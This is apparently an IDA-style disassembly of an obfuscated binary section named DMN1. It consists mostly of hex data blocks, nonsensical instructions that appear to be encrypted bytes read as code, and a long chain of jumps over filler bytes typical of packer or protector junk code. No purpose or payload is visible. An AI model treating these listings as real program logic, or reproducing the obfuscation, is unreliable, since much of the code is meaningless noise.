0BC5B2049h, 0E011D55Dh, 67B9A39Fh, 8F2DBA5Ch dd 5DDEE48h, 90F45D77h, 97846AD4h, 8399F8FFh, 91D59A96h dd 5FA133A0h, 0EC1CFF4Ch, 831D44B1h, 0E0B84228h, 50910D8Dh dd 0BE493FF3h, 47D7BADEh, 3EA716D6h, 0F9981B82h, 0D05DD50Bh dd 0C0AD58F3h, 2749E39h, 1958A0A3h, 16F050A2h, 0EBE0048Dh dd 6A3DF189h, 8D1EDC6Bh, 921414B4h, 154CCE58h, 923876C3h dd 3F549078h, 0E7F2868Bh dd 9907F774h, 0B1745AF6h, 4BE26A56h, 4384B186h, 2592353Eh dd 0F8C2D688h, 2BB95705h, 60207BAFh, 0ACB17C73h, 0B78CF1C5h dd 462338FAh, 7FFAEF74h, 0F3AE268h, 22117DF8h, 2C8F8C6h dd 246B2245h, 0E93C3050h, 0F11F146h, 0F8B178B7h, 326EB0D8h dd 0E038F3F6h, 7041563Bh, 0A7644F76h, 2ED780A7h, 0F2E7F2CBh dd 112A826Ch, 0D56DB41Ch, 79F7E724h, 4FDD0E50h, 0D14467E7h dd 32CDA0D2h, 0A9DB9899h, 6A09DC9Fh, 0A8848B5Ah, 78836488h dd 0D8C6E7B6h, 9464287Ah, 9FB5E4EBh, 0C30C20FBh, 4CA1A12h dd 8EB07B68h, 0EA5EB63h, 773162Fh, 9DAC4177h, 8D3AB732h dd 8C0CD2F2h, 0C7924BA9h, 7CC7DB08h, 61FE55DEh, 0C5A6D529h dd 0A16294A5h, 2F07B98Ch, 0BC431C2Dh, 427E2609h, 7C7169EEh dd 9122CC2Ah, 2B8CFFDh, 4A348743h, 0D0696FDCh, 70104754h dd 3D1B075Fh, 0D447D1E1h, 1067625Bh, 0D15C2906h, 378C5712h dd 30CC7458h, 24757A8Fh, 56DF2F8Ah, 610703C4h, 0C5A38FA9h dd 0E18C0B24h, 0A8E5A94Eh, 85603F55h, 8DFFB4F2h, 18C80BC5h dd 0B98670A7h, 4404A575h, 0B9373F7Ah, 6EB98F9Ah, 469C8111h dd 62DF60D6h, 1CBEE89h, 3F66D2C7h, 0DD15089Ah, 0C02D68A8h dd 0E5CD6724h, 9CEFC17Ch, 0D869AC91h, 227AA03Ch, 0FE048852h dd 8C7C76B1h, 0CE4D1DA9h, 8BD5EA08h, 0C15F1575h, 2142A2D7h dd 6619BD47h, 0DFB04E35h, 0B147EC04h, 40BA09E3h, 0AE3DA736h dd 0F2980A9Eh, 620F9302h, 1541AFF9h, 0A4CE977h, 0B0C94E71h dd 8991F86Ch, 0D689E2FCh, 0B84B21AFh, 0CCD937BDh, 0C93B48EAh dd 0C2072DFFh, 65D338C3h, 0E9908ECFh, 0F485E0F9h, 7E60CDD1h dd 0CDAFB28Eh, 23FB59F4h, 8AA1A164h, 8FB275F2h, 5A02705h dd 4F771707h, 3B93DB1Bh, 3747D899h, 0F4B5FB0Ah, 0FA66F86Dh dd 272D0612h, 4B030A35h, 25DE8501h, 9D4F9AD5h, 0FCE8F6Bh dd 18DCEA4Dh, 1E21D4E1h, 4BFAF398h, 34E2EBBh, 0FBECAE3Ch dd 0DD745DE5h, 11FAEEA8h, 0CC577ECh, 0B5D2334Eh, 0F9C6B057h dd 4DC1DE58h, 0A4E29DEAh, 76C43563h, 0AA724732h, 0E8225DB7h dd 1BF2DA2Ch, 705EC619h, 0F5CC50C9h, 406A9AECh, 0C080A9BFh dd 9FA66F8Eh, 7CF71ACDh, 0D715CD5Bh, 333EE35Ah, 0A19D2156h dd 5BD30C8Ch, 664E8512h, 0B2031A2Dh, 0E5C5F39Fh, 7E11C080h dd 9C65FA52h, 0A628C2C2h, 0DD99C42Dh, 34507040h, 0F862BB3Ch dd 5405751Bh, 812C6340h, 905415D2h, 36068552h, 15EF9975h dd 573EE3DBh, 99840DA9h, 0C5C85549h, 5E339CA3h, 0E78F0622h dd 0EBDD8CA0h, 398E420Bh, 0EBD7F9B8h, 0E67C820Bh, 78706B29h dd 750FBA7h, 0BCF71F3Eh, 7A98D94Bh, 0ECCE53A5h, 0C237C2F2h dd 0D85B583Ah, 3B9F92FFh, 3E285305h, 89DDBC53h, 29149F66h dd 6BAF1ECDh, 761101B4h, 20FCC4DDh, 87905F5Ah, 758D167Ch dd 0EA87D589h, 45EC6E56h, 6DD3BFC0h, 57FDD944h, 0CBE5A49Eh dd 0D3108921h, 0EB7C9AA5h, 6C058167h, 0FF4FBB0Dh, 0A53E196h dd 644BF7B3h, 0E853D454h, 0A03DF3B3h, 0F5C46Ch, 0A29B1D32h dd 124DE6A9h, 4421B448h, 2957CE59h, 0F6462BEh, 0FCAB3996h dd 0C4007861h, 9F2D1FE1h, 26F1BA4Bh, 25EA33D7h, 363BE3A3h dd 9B79C6BEh, 1FBAE8F9h, 0D012263Bh, 868021C9h, 0D08C6CAFh dd 928293EBh, 0CFB6087Ah, 6DCDD845h, 5DD722A1h, 0BD7F0F83h dd 0C808CC46h, 0B8929CC3h, 7964CC91h, 990DE445h, 0BFF4EADFh dd 50B5D9BEh, 0F90E0180h, 2232737h, 793D6C2Ah, 9B35C659h dd 6407822Eh, 64402D54h, 0AB154F94h, 0B7D8E6D7h, 5C6D15E3h dd 47817193h, 0A8E25CFAh, 27A742FFh, 2992DDCBh, 0B487A87h dd 300F52BCh, 0E427D1Dh, 3C34CD7Ch, 3802A301h, 9EB9D639h dd 4A4629BAh, 48103253h, 4EC76DB8h, 8EC961A5h, 0EDC34BCDh dd 0A6C1FCAh, 85B8FA1Dh, 92B815C9h, 1964425Fh, 0FDE63936h dd 0D2FE2ADAh, 0A148D0E3h, 1953AD5Bh, 3CAA8A6h, 1D445A5Dh dd 7EE06B43h, 0F4BDA189h, 61660524h, 52728196h, 5C56F9D3h dd 0C02CB337h, 0B1424E5Ah, 30A63A8Eh, 54999CBDh, 0D58FC061h dd 92B2D219h, 58CAAA32h, 0F201804Ch, 0BA0CB817h, 0FF8D2555h dd 453BA895h, 0BD91Fh, 227B6887h, 0ABFC6C03h, 7C90FDA8h dd 73D229B8h, 0AB33D1D8h, 48FECE50h, 78469264h, 0F725F0BEh dd 63A526D5h, 6FDC7BFh, 34B1F3EDh, 0EAFF56D1h, 0FC893B2Dh dd 287D0174h, 23ED2C1Ah, 333EB10Eh, 0F30E83D5h, 51B7B005h dd 97AC2C11h, 9E3611DDh, 0A3BB042Dh, 0E4F66539h, 80BEF434h dd 715C4EACh, 7A26C5C3h, 54EC320Ah, 0EB304F8Bh, 29FD878Ah dd 80488F29h, 0BC942EE8h, 6579D29Ch, 46441032h, 67BEDF79h dd 0E8F600FCh, 9E2FBF58h, 301C45C8h, 0BE7ECB4Fh, 0E4295079h dd 706C9F0Eh, 0D974233Fh, 0C33E1168h, 135C8DE9h, 0D567801Ch dd 85D8C709h, 8E28640Eh, 188878C0h, 1DC500A6h, 39E7F91Eh dd 112BE1E1h, 3E014219h, 3CD91E68h, 0A837C2FFh, 0B6EC5D48h dd 9EE262CCh, 0E3185FA1h, 8A67815Fh, 0A56AAAF7h, 725CB6B2h dd 672152BAh, 0F47832FFh, 50CA1BA8h, 1B6C1E25h, 59DD825Bh dd 58B5DE7Fh, 0E3B76D98h, 5F8A55CBh, 358EB502h, 0FB92BFA0h dd 5CBE1CDBh, 2A47E893h, 21F7B610h, 72C6C6A5h, 9EF18FA7h dd 0ED93079Ah, 12A5D874h, 0E4CA3A6Ah, 67893DE0h, 0E7014074h dd 0F0ED7D7Ah, 18DC1534h, 7D6BB250h, 0C85F65BEh, 4BA725C8h dd 48118A5h, 0F8659F9Fh, 44FC9D9Eh, 513613AAh, 0B8F2F577h dd 63EFB743h, 0B6CAD632h, 11F4A729h, 69FED0ECh, 0E61B3447h dd 1F8F775h, 67C15990h, 6C6E5692h, 0C3D2890Ah, 2E936376h dd 0E2D7AA90h, 2FB44B72h, 65EAB6Dh, 6BD8EC1Ch, 0B5A2DBFFh dd 0D39DA5C6h, 98943444h, 0CDFA0BE7h, 0C4AC7BD5h, 1A66F514h dd 2B4BCDDBh, 0C2DCB028h, 6AE4EDDh, 730FA2A4h, 0C5CE85EEh dd 51CF2F64h, 8107CDE2h, 0E3DE3ADAh, 9A15A8C7h, 5647A36Dh dd 8F5B9826h, 6691790h, 258BDBA7h, 2DD84B0Bh, 0C6BCE82Fh dd 3C579B5Dh, 9EF7CC94h, 0B6E31C8Eh, 7CC5E88Fh, 7C6BF59Bh dd 479985C0h, 0DF9D0009h, 7445241Eh, 0D035C34Eh, 0C33F436h dd 0A2D430D3h, 3A0BF984h, 5004AC10h, 30AFFF80h, 862B9583h dd 9C5D53EEh, 0A840333Fh, 1437AE2Eh, 8A8EDAF9h, 2C1E99E6h dd 7112CBFCh, 29B5F3ABh, 30AEC771h, 0B2750E3Fh, 50BFE695h dd 95C9F41Eh, 0E5C2D60Eh, 0C90D0C9h, 533C3D60h, 0EDDA3F96h dd 5A6D548h, 0D2AFF1B4h, 33DF0A20h, 0F9698634h, 0F31E83BFh dd 0A2CFAF42h, 823A1B02h, 90380254h, 0EDACF0DEh, 0A6BE3DE4h dd 0A1DCC779h, 0A5D8EC55h, 0CB65DF51h, 6280BEFEh, 74324B6Fh dd 82E5BAA4h, 0ABD2EE43h, 9F236A3Bh, 96BFE27Fh, 9DB87E61h dd 389832FFh, 9EEA4057h, 80624486h, 6AD041D8h, 4EE1BB31h dd 0C3F039EDh, 3CA7C662h, 0B62C6703h, 7040D027h, 42329252h dd 51F5946Ch, 0E23F0466h, 0AC1E1963h, 221BC8B3h, 348E7C6Ch dd 0CCC5F464h, 5C78A9D9h, 767DA098h, 7CDEA32Dh, 376585DDh dd 0F6C4E755h, 7DBABC09h, 3DBC5719h, 3FD4D872h, 0B62F7ADAh dd 35FD7684h, 315A8BF4h, 0DD1FE945h, 14BB6002h, 0FEA7C25h dd 4CCEE3D1h, 0EBD60B98h, 85EE2069h, 7DB71772h, 0AB29DC43h dd 0F9A2C537h, 89CF1C50h, 0B89B3DE4h, 7CFC23CCh, 0EEAFB7DEh dd 0E83AF9B6h, 397A3B2Eh, 0A2303622h, 4B00FB44h, 67F84836h dd 20D571DDh, 96B7977Fh, 0BC572587h, 0D2B2861Ah, 0F7187C26h dd 47EA0139h, 0AF5BC68Ah dd 0FCE9B92Bh, 0DB19B6C3h, 97DF93A3h, 95BC99E3h, 0BAC356DBh dd 0DD0C6D49h, 9FD4FC53h, 0A4B3CB44h, 0DDCC469Fh, 9942A3C3h dd 7BAA8305h, 6DBDCC42h, 0B8FF29C2h, 0E18493F3h, 319FA289h dd 0A9886BFDh, 0AB9BA798h, 9445BADAh, 3F692409h, 8F4B0E83h dd 0F77904B3h, 628C6F18h, 0C3F5FB8Bh, 794E5EC6h, 9166DAB1h dd 2BBEA9D6h, 0BC7BB23Bh, 0C019E764h, 806F35D3h, 6191717Bh dd 7A7DE89Bh, 216E4239h, 3F15D984h, 8FE2FF2Ah, 7BDE0DAAh dd 0B56CB79h, 165DD778h, 701F3C8Ah, 0BB0E624Bh, 0EBCB9039h ; --------------------------------------------------------------------------- loc_466EEC: ; CODE XREF: DMN1:00467F06j cli mov ds:0B3F2E503h, eax mov ecx, 59411B3Dh and al, 1 shr ch, cl arpl cs:[edx], cx movsd pop esi sbb eax, 14DACB6Dh dec ecx xchg eax, ebx scasd add al, 4Dh pop edi db 36h loope loc_466F51 inc edi adc ch, [ebx-3Fh] pop ds sahf arpl [edi-61h], ax retf ; --------------------------------------------------------------------------- dd 0FCB6F22Fh, 177D25Eh, 4787C43Ch, 8E5054A2h, 4CF6963Dh dd 83961D36h, 0C096E278h, 0D5A7DB0Eh, 0C7C34B57h, 0B5DC4B85h dd 8AC897BAh, 0E480E1Ch, 6338FB29h, 0D582EF77h db 0EFh ; --------------------------------------------------------------------------- loc_466F51: ; CODE XREF: DMN1:00466F0Bj cmpsb setalc lds edi, [ecx+7D003B16h] add [ebp+eax*4-22D5FD8Bh], esp and esi, 0FFFFFFD3h stosd or [ebx+75h], esp scasd clc cmp esp, [ecx+25h] jbe short near ptr loc_466FB5+2 loop loc_466FB5 cmp cl, bl dec edx popf inc eax call far ptr 30C7h:0BFEBD454h cmp bh, dh ; --------------------------------------------------------------------------- dw 0BF8Fh dd 0BC65AAF7h, 413314B5h, 461183B3h, 805AD827h, 0DBB75FFBh dd 0B2A23136h, 19168655h, 770A83D8h, 365CC832h, 1B2CF888h dd 0DAB41910h, 0BB2C8D52h, 5EAB0D8Fh db 0B1h ; --------------------------------------------------------------------------- loc_466FB5: ; CODE XREF: DMN1:00466F6Ej ; DMN1:00466F6Cj mov esp, 0A89E5E98h inc ebx db 65h sub al, 0EEh ja short loc_467032 push esp mov ah, 8 mov edi, 0A7DA6079h ; --------------------------------------------------------------------------- dd 0CBDD208Fh, 0EA1E3872h, 2CE325DCh, 0D7AE3D2Eh, 877E1C15h dd 3CE72939h, 298308A3h, 1CF21FB3h, 40757205h db 0FBh, 3Dh ; --------------------------------------------------------------------------- loc_466FEE: ; CODE XREF: DMN1:loc_467032j or byte ptr [edx+ecx], 74h xor al, 0D0h jmp short near ptr loc_467067+4 ; --------------------------------------------------------------------------- dw 81A9h dd 0BCD88CDAh, 899715ECh, 5DC5ABE1h, 8A7931C7h, 0DADE96Dh dd 0A393BE53h, 0E25B946Ah, 4E372B69h, 0E0FE9653h, 0E0680E78h dd 96F46B89h, 5A85BEBBh, 16B037DCh, 352C92E0h ; --------------------------------------------------------------------------- or dh, [edx] loc_467032: ; CODE XREF: DMN1:00466FBEj jle short loc_466FEE inc edi lea esi, [ebp+5212137Ah] test al, 8 mov byte ptr [edi], 60h push edi call near ptr 1B7ED47h ; CODE XREF: DMN1:0046709Fj and [eax], ch add esi, [ecx-43h] add ebx, [ebx+3BB50361h] mov bl, 74h jbe short near ptr loc_46707C+1 rcr byte ptr [edi-1E5806E4h], 1 cmpsd or [eax+ebx*4-5Dh], dl sub [ebx], ecx add [ebx], bh mov al, 0AAh daa loc_467067: ; CODE XREF: DMN1:00466FF4j or eax, 65A34D8h and [eax+esi*4+4A818CAh], dh and [ecx+15h], bh or [edx-0BF773F8h], esp loc_46707C: ; CODE XREF: DMN1:00467053j xchg ecx, ebx add eax, 42FD699Bh pop ebp inc eax dec ebp xchg eax, ebp fsubr qword ptr [edi-7E466EDCh] mov bh, 1Fh aam 2Bh bound esp, [eax] jno short loc_4670EF bound eax, [ebx] ficom dword ptr ds:760F2AC3h mov cl, 26h jz short near ptr loc_467041+3 push ds in al, 0A9h ; Interrupt Controller #2, 8259A out dx, al pop ecx or eax, 0A60E60D2h retf ; --------------------------------------------------------------------------- dd 0CE185251h, 9F42A958h, 7752468Bh, 47F3415Bh, 0D4A071A0h dd 0F8C82FD4h, 1EEEA619h, 0C5AB3C57h, 2EF15DDEh, 0B9216751h dd 34C139A3h, 6354FEECh, 94E2412Ch db 13h ; --------------------------------------------------------------------------- loc_4670E1: ; CODE XREF: DMN1:0046711Cj daa outsd xchg eax, edx pushf jge short loc_46714D dec ebx pminsw mm5, qword ptr [eax-4A2D00B9h] loc_4670EF: ; CODE XREF: DMN1:00467093j push edx mov eax, 1F96C039h inc ecx dec ecx or eax, 0F34B63AAh jno short loc_46712C mov edi, 95C5689Ah in eax, dx ; --------------------------------------------------------------------------- dd 47A73B8Eh, 247DEFDDh, 3BC477Bh, 8A059DB6h ; --------------------------------------------------------------------------- loc_467114: ; CODE XREF: DMN1:00467160j js short near ptr loc_46713C+4 mov ebx, 94DBAB3Fh loc_46711B: ; CODE XREF: DMN1:0046716Ej dec eax jl short loc_4670E1 push 863CD680h push ecx fdiv st, st(2) clc push 0E9454D42h loc_46712C: ; CODE XREF: DMN1:004670FCj mov edi, 0A119BC51h xchg eax, edx popf inc edi faddp st(1), st test eax, 1D1647FDh ; CODE XREF: DMN1:00467170j clc loc_46713C: ; CODE XREF: DMN1:loc_467114j mov ds:0A89DE23Eh, al jle short loc_4671A1 cmp al, 0FDh fnsave byte ptr [ebp-6D4714B6h] dec ebx std loc_46714D: ; CODE XREF: DMN1:004670E5j in al, 0A5h ; Interrupt Controller #2, 8259A dec esp lds edx, [si-37h] enter 35E5h, 0E0h pop ss loc_467159: ; CODE XREF: DMN1:004671ACj cmc inc edi dec eax inc ebx add [eax+edx*4], eax jo short loc_467114 int 0F5h sbb esi, [eax+6E458613h] nop lodsb mov ah, 0B1h jz short loc_46711B jnb short near ptr loc_467136+3 ; --------------------------------------------------------------------------- dw 7F8Fh dd 0F76CEC4Ch, 75D99ADBh, 9800E312h, 0B583DC02h, 0F7EFFC53h dd 55149619h, 77B5F5C2h, 35C119B6h, 2E4363Fh, 7A1D32E1h dd 0F184ACB0h db 0B1h ; --------------------------------------------------------------------------- loc_4671A1: ; CODE XREF: DMN1:00467141j mov [edi+67h], esp or esi, [edx-42h] test [ebp-62h], ah inc eax insd jb short loc_467159 loc_4671AE: ; CODE XREF: DMN1:004671B5j adc al, 5 sal bh, 9Dh push ds pop edi js short loc_4671AE jg short loc_467228 out dx, eax or al, 48h adc al, 12h xchg ecx, [ebp-2FE0BB11h] jns short near ptr loc_46723A+1 das pop edi insd mov ah, 4Eh cmp ecx, [edx] loc_4671CD: ; CODE XREF: DMN1:0046722Dj int 84h xor eax, 0CD67F949h int 0A8h ; used by BASIC while in interpreter sbb bh, al test eax, 6313A78Fh push es adc eax, [edx] mov [ebx+1Bh], bh popf call near ptr 0B179F503h add al, 7Ch fadd st, st(2) and al, bl mov ah, 80h pop esi db 3Eh pop edx db 2Eh wait bound edx, [esp+64h] test dword ptr [eax+38h], 57EA70C3h mov ch, 0CEh ; CODE XREF: DMN1:00467245j add dl, [esi] call near ptr 0E8EB870Eh outsb mov ebp, 67F1DE3Fh imul edx xchg eax, ecx mov dl, 4Eh sal dh, 1 lodsb dec eax cli rcr byte ptr [ecx], 1 dec ebx retf 988Ah ; --------------------------------------------------------------------------- db 0ECh, 32h, 0A1h dd 0EF2ED85Bh ; --------------------------------------------------------------------------- loc_467228: ; CODE XREF: DMN1:004671B7j push ebx arpl [eax+26h], cx lodsb jge short loc_4671CD xchg eax, ebp call near ptr 0B59BF137h mov ebx, 0EC623A7Fh loc_46723A: ; CODE XREF: DMN1:004671C4j fidiv dword ptr [esi] mul dword ptr [ecx+esi*8+1CC96308h] dec edi push ebx jnp short near ptr loc_467202+1 iret ; --------------------------------------------------------------------------- dd 0C21154ADh, 0C48BD93Fh, 0CE3EC956h, 20D93B05h, 5659EBF9h dd 7D7EC9D4h, 0FAFBA18h, 0D253B368h, 0DC4A4C1Dh, 9218205Bh dd 0B892D7DFh, 147B82AFh, 2C7AFA2Ah, 8B86766Fh, 0BB445BBDh dd 0CB85A915h, 76296616h, 9C2BAE09h, 0D01B62D0h, 26990344h dd 0C06A75DFh, 547D8D5Fh, 0AA0B2716h, 56C2C777h, 0B35C31B4h dd 0E3A9F4E3h, 0CEEC2AF7h, 0B5D4F59h, 0ED497225h, 0C9B5B975h dd 29EE31ABh, 0BF684CE1h, 0F82F806Fh, 55AC0C90h, 0B7994C25h dd 0E199FC37h, 0E8287B27h, 5544783Ch, 6D22641Ah, 0B0E35BAAh dd 50449B8Ah, 325EA19Eh, 0B824783Fh, 85F03CEh, 0B002AA02h dd 0D4FD8530h, 19282C01h, 42665E44h, 437CD047h, 0B432A16Ch dd 0CC0DB657h, 63B79AABh, 7AB8B3C3h, 97A948FCh, 69998995h dd 4E838243h, 978ACD63h, 30358B4Ch, 3B6C363Ah, 52219A6Ch dd 0A093C470h, 4A17CC18h ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [esp+8] mov ebp, eax pusha mov eax, 0CD42DC15h push eax jmp short loc_467370 ; --------------------------------------------------------------------------- dw 0B4B2h dd 2DD9AB3Bh, 7AB6A6CCh, 0DA5A620Dh, 86455BE9h, 65411322h dd 2873BE74h, 62DD0850h ; --------------------------------------------------------------------------- loc_467370: ; CODE XREF: DMN1:00467350j xchg ecx, esi xchg edx, ecx jmp short loc_46737F ; --------------------------------------------------------------------------- dw 6B35h dd 1DBEDEE3h ; --------------------------------------------------------------------------- push ds xlat inc ebp loc_46737F: ; CODE XREF: DMN1:00467374j cmc jmp short loc_46739C ; --------------------------------------------------------------------------- dw 865Ch dd 3904A718h, 50EDC12Ch, 36C64CB4h, 0ECDD9D26h, 0FFF0729Eh dd 0C3EA0516h ; --------------------------------------------------------------------------- loc_46739C: ; CODE XREF: DMN1:00467380j cmc clc clc jmp short loc_4673AB ; --------------------------------------------------------------------------- db 3Ah, 41h, 81h dd 3B9AA2CEh ; --------------------------------------------------------------------------- fcom qword ptr [ecx] push es loc_4673AB: ; CODE XREF: DMN1:0046739Fj jmp short loc_4673C7 ; --------------------------------------------------------------------------- db 0A7h, 45h, 9Ch dd 7DC06F9Fh, 16194A6Ah, 0B29AFB63h, 0E9EAD44Dh, 94B43B14h ; --------------------------------------------------------------------------- and bl, [ebp+52h] loc_4673C7: ; CODE XREF: DMN1:loc_4673ABj neg ebx jmp short loc_4673D8 ; --------------------------------------------------------------------------- db 41h dd 6173911Fh, 0D7F8D778h, 0D9972EE6h ; --------------------------------------------------------------------------- loc_4673D8: ; CODE XREF: DMN1:004673C9j jmp short $+2 test eax, 42D53FC2h xor edi, edi jmp short loc_4673E8 ; --------------------------------------------------------------------------- dd 0FDACD2E1h ; --------------------------------------------------------------------------- loc_4673E8: ; CODE XREF: DMN1:004673E2j jmp short loc_4673FF ; --------------------------------------------------------------------------- dw 0BCEDh dd 122D6218h, 0F3A9C4B0h, 71E9D8Fh, 0A03CA06Fh db 93h, 0EEh, 5Fh ; --------------------------------------------------------------------------- loc_4673FF: ; CODE XREF: DMN1:loc_4673E8j xchg ecx, eax jmp short loc_46741D ; --------------------------------------------------------------------------- db 6Ch dd 0ADDE08BDh, 772D9D76h, 0D5424258h, 1C7B38A8h, 0E4E09301h dd 1151D5B6h db 80h ; --------------------------------------------------------------------------- loc_46741D: ; CODE XREF: DMN1:00467401j jmp short loc_46742D ; --------------------------------------------------------------------------- db 0F4h dd 28DFCEAh, 0B9B93E1Ch, 0E3BFA3F8h db 38h ; --------------------------------------------------------------------------- loc_46742D: ; CODE XREF: DMN1:loc_46741Dj jmp short loc_467442 ; --------------------------------------------------------------------------- db 0E1h dd 14A75839h, 29977F7Ch, 0DE6A7108h, 0CCF5F27Bh db 61h, 80h ; --------------------------------------------------------------------------- loc_467442: ; CODE XREF: DMN1:loc_46742Dj bswap eax neg ecx add edi, 31000h jmp short loc_46746B ; --------------------------------------------------------------------------- and [esi-22CE10ADh], edi cmp al, 5Eh retf 0FEEDh ; --------------------------------------------------------------------------- db 58h, 0F4h, 4Bh dd 62F616B8h, 0C98B2B41h, 55D8846Bh db 0B1h, 41h, 6Eh ; --------------------------------------------------------------------------- loc_46746B: ; CODE XREF: DMN1:0046744Cj xor ebx, 73260473h jmp short loc_46748C ; --------------------------------------------------------------------------- db 62h dd 9AFD22D9h, 1785BC27h, 0DA97FEFEh, 3BD21570h, 47B1AEFEh dd 79972582h ; --------------------------------------------------------------------------- loc_46748C: ; CODE XREF: DMN1:00467471j jmp short loc_4674AB ; --------------------------------------------------------------------------- dw 4C8Eh dd 710C20C8h, 3C60F256h, 1ABACE1Ah, 727316EDh, 64B72FCFh dd 92644B25h db 1, 83h, 0B3h ; --------------------------------------------------------------------------- loc_4674AB: ; CODE XREF: DMN1:loc_46748Cj xchg eax, ebp xchg ebp, edi jmp short loc_4674CE ; --------------------------------------------------------------------------- db 0F2h, 0B5h, 0E2h dd 103677E1h, 0DC6D2BF5h, 0E7726C8Ch, 0F0DE6CB6h, 0B3FD2A59h dd 0B6AA6C08h db 0F7h, 0BEh ; --------------------------------------------------------------------------- loc_4674CE: ; CODE XREF: DMN1:004674AFj jmp short loc_4674E1 ; --------------------------------------------------------------------------- db 90h db 12h, 0F9h, 0D5h dd 2A5062B0h, 0E10BBD2Fh, 0EE1201A3h db 33h ; --------------------------------------------------------------------------- loc_4674E1: ; CODE XREF: DMN1:loc_4674CEj sub edx, edx jmp short loc_467504 ; --------------------------------------------------------------------------- db 0D0h, 10h, 45h dd 4DF6F80Eh, 23B2005Bh, 5FD0C454h, 4E657DF8h, 0DA43262Eh dd 0DD0F8BCCh, 2F5FBAABh ; --------------------------------------------------------------------------- loc_467504: ; CODE XREF: DMN1:004674E3j xchg edi, ebx jmp short loc_467515 ; --------------------------------------------------------------------------- dd 1DCCAA30h, 3F08BC5h, 0C16C2833h ; --------------------------------------------------------------------------- dec edi loc_467515: ; CODE XREF: DMN1:00467506j jmp short loc_46751A ; --------------------------------------------------------------------------- db 9Dh db 68h, 0B1h ; --------------------------------------------------------------------------- loc_46751A: ; CODE XREF: DMN1:loc_467515j cmc jmp short loc_467537 ; --------------------------------------------------------------------------- db 3Fh, 32h, 13h dd 0F01E1C40h, 0BC07B5B8h, 7ADAAD4Bh, 0F7F74B07h, 0D3DE6232h db 73h, 0F1h, 0D5h ; --------------------------------------------------------------------------- loc_467537: ; CODE XREF: DMN1:0046751Bj jmp short loc_46753F ; --------------------------------------------------------------------------- db 0E7h, 0F2h, 3Dh db 0B2h, 0Bh, 0CAh ; --------------------------------------------------------------------------- loc_46753F: ; CODE XREF: DMN1:loc_467537j jmp short loc_467549 ; --------------------------------------------------------------------------- db 1Ch, 47h, 0FBh dd 0AB8E1FF2h ; --------------------------------------------------------------------------- cmc loc_467549: ; CODE XREF: DMN1:loc_46753Fj sal edi, 0EAh add edx, 5363h loc_467552: ; CODE XREF: DMN1:00467D9Fj jmp short loc_46755D ; --------------------------------------------------------------------------- dd 0D9DBAB46h, 0AFC4AB62h ; --------------------------------------------------------------------------- clc loc_46755D: ; CODE XREF: DMN1:loc_467552j jmp short loc_467574 ; --------------------------------------------------------------------------- db 76h dd 26D5E492h, 3CCF9D69h, 1E460121h, 0C2C3705Eh, 0F065F266h ; --------------------------------------------------------------------------- loc_467574: ; CODE XREF: DMN1:loc_46755Dj neg edi jmp short loc_467580 ; --------------------------------------------------------------------------- dd 13B2DD01h, 0C07B2772h ; --------------------------------------------------------------------------- loc_467580: ; CODE XREF: DMN1:00467576j jmp short loc_467588 ; --------------------------------------------------------------------------- cmp ds:0E8CCE2F1h, dl loc_467588: ; CODE XREF: DMN1:loc_467580j jmp short loc_4675A4 ; --------------------------------------------------------------------------- dw 4128h dd 0BDC91F58h, 0D026166Fh, 0D5A7E4EAh, 443B729h, 60A00554h dd 218E75F7h ; --------------------------------------------------------------------------- loc_4675A4: ; CODE XREF: DMN1:loc_467588j xchg esi, esp jmp short loc_4675BB ; --------------------------------------------------------------------------- dd 0E2CD8089h, 3944456Bh, 66857EA9h, 0B8A0B4A1h db 76h, 7, 0CAh ; --------------------------------------------------------------------------- loc_4675BB: ; CODE XREF: DMN1:004675A6j cmc jmp short loc_4675C8 ; --------------------------------------------------------------------------- dw 35ECh dd 6CC25F39h, 3D618E6Fh ; --------------------------------------------------------------------------- loc_4675C8: ; CODE XREF: DMN1:004675BCj jmp short loc_4675CE ; --------------------------------------------------------------------------- dw 3464h db 6Dh, 75h ; --------------------------------------------------------------------------- loc_4675CE: ; CODE XREF: DMN1:loc_4675C8j jmp short loc_4675E3 ; --------------------------------------------------------------------------- dd 1C8528CDh, 27A0BB3Bh, 6752F72Bh, 0A1CC61A2h ; --------------------------------------------------------------------------- inc edi cmp [edx], bl loc_4675E3: ; CODE XREF: DMN1:loc_4675CEj jmp short loc_4675E6 ; --------------------------------------------------------------------------- sahf loc_4675E6: ; CODE XREF: DMN1:loc_4675E3j xchg eax, eax jmp short loc_467606 ; --------------------------------------------------------------------------- dw 43A0h dd 0A3B698D2h, 0C76E3A7Ah, 79233639h, 79B821EFh, 0D9E5DE64h dd 0D3CA7564h ; --------------------------------------------------------------------------- fucomi st, st(7) loc_467606: ; CODE XREF: DMN1:004675E8j xchg esi, esp jmp short loc_467614 ; --------------------------------------------------------------------------- dw 1BF4h dd 6E962F2Dh, 6A0022E9h ; --------------------------------------------------------------------------- loc_467614: ; CODE XREF: DMN1:00467608j jmp short loc_467634 ; --------------------------------------------------------------------------- dw 9096h dd 0B416B5EBh, 88B9494Dh, 0FEDCDEh, 181AE1AFh, 0A0800Eh dd 8D806DEBh, 0EB2AB000h ; --------------------------------------------------------------------------- loc_467634: ; CODE XREF: DMN1:loc_467614j mov ebx, ebp jmp short loc_467655 ; --------------------------------------------------------------------------- dd 0E418976Ch, 4571E023h, 0E915D8DAh, 0B547A3B5h, 2452C9DCh dd 0B045CAB1h, 5C2A1C03h db 0B6h ; --------------------------------------------------------------------------- loc_467655: ; CODE XREF: DMN1:00467636j xchg edx, edx cmc ror ecx, 85h jmp short loc_467662 ; --------------------------------------------------------------------------- db 20h, 0Ah, 82h ; --------------------------------------------------------------------------- push esi popf loc_467662: ; CODE XREF: DMN1:0046765Bj xchg edx, edx jmp short loc_467670 ; --------------------------------------------------------------------------- dw 0D2A9h dd 0FE28F0E1h, 859741EAh ; --------------------------------------------------------------------------- loc_467670: ; CODE XREF: DMN1:00467664j jmp short loc_467674 ; --------------------------------------------------------------------------- dw 796Eh ; --------------------------------------------------------------------------- loc_467674: ; CODE XREF: DMN1:loc_467670j jmp short loc_467688 ; --------------------------------------------------------------------------- dw 3021h dd 919A8311h, 0E5546A66h, 0FB24F493h, 0A41CCAC7h ; --------------------------------------------------------------------------- loc_467688: ; CODE XREF: DMN1:loc_467674j std jmp short loc_46769F ; --------------------------------------------------------------------------- db 46h dd 5980E7CFh, 3BC2B86Ah, 0E757FB30h, 0CFEA1B40h ; --------------------------------------------------------------------------- adc [ebp+4Bh], cl loc_46769F: ; CODE XREF: DMN1:00467689j jmp short loc_4676B5 ; --------------------------------------------------------------------------- mov ds:0B55F9620h, al mov esi, 0E2C7AF18h retf 